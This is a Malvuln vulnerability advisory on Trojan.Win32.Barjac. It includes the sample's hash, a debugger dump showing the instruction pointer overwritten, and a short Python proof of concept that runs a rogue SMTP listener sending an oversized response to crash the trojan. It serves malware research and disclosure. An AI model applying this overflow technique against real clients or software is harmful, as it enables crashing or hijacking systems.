Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/62ad686f97faaa68f580d32d25333f51.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln


Threat: Trojan.Win32.Barjac
Vulnerability: Remote Stack Buffer Overflow. 
Description: Trojan.Win32.Barjac makes SMTP connection to Port 25, upon processing the server response we control, we overwrite instruction pointer (EIP), undermining the integrity of the trojan.

Type: PE32
MD5: 62ad686f97faaa68f580d32d25333f51
Vuln ID: MVID-2021-0011
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021

Memory Dump:
EAX : 41414141
EBX : 0404DD00
ECX : 00002736
EDX : 0404DD00
EBP : 0019FE78
ESP : 0019FE50
ESI : 00002736
EDI : 00002733
EIP : 41414141

ExceptionAddress: 41414141
   ExceptionCode: c0000005 (Access violation)
  ExceptionFlags: 00000000
NumberParameters: 2
   Parameter[0]: 00000000
   Parameter[1]: 41414141
Attempt to read from address 41414141


CONTEXT:  0019f9f0 -- (.cxr 0x19f9f0)
eax=41414141 ebx=03fddd00 ecx=00002736 edx=03fddd00 esi=00002736 edi=00002733
eip=41414141 esp=0019fe50 ebp=0019fe78 iopl=0         nv up ei ng nz ac po cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010293
41414141 ??              ???


Exploit/PoC:
import socket

junk = "A"
payload=junk*65600
port=25

def doit():
    global payload

    s = socket.socket()
    print("Trojan.Win32.Barjac / Remote Buffer Overflow")
    print("MD5: 62ad686f97faaa68f580d32d25333f51")
    print("By malvuln")

    try:
        host = ''              
        s.bind((host, port))            
        s.listen(5)
 
        while True:
            conn, addr = s.accept()
            conn.send(payload+'\r\n')
            conn.close()
    except Exception as e:
        pass

if __name__=="__main__":
    doit()



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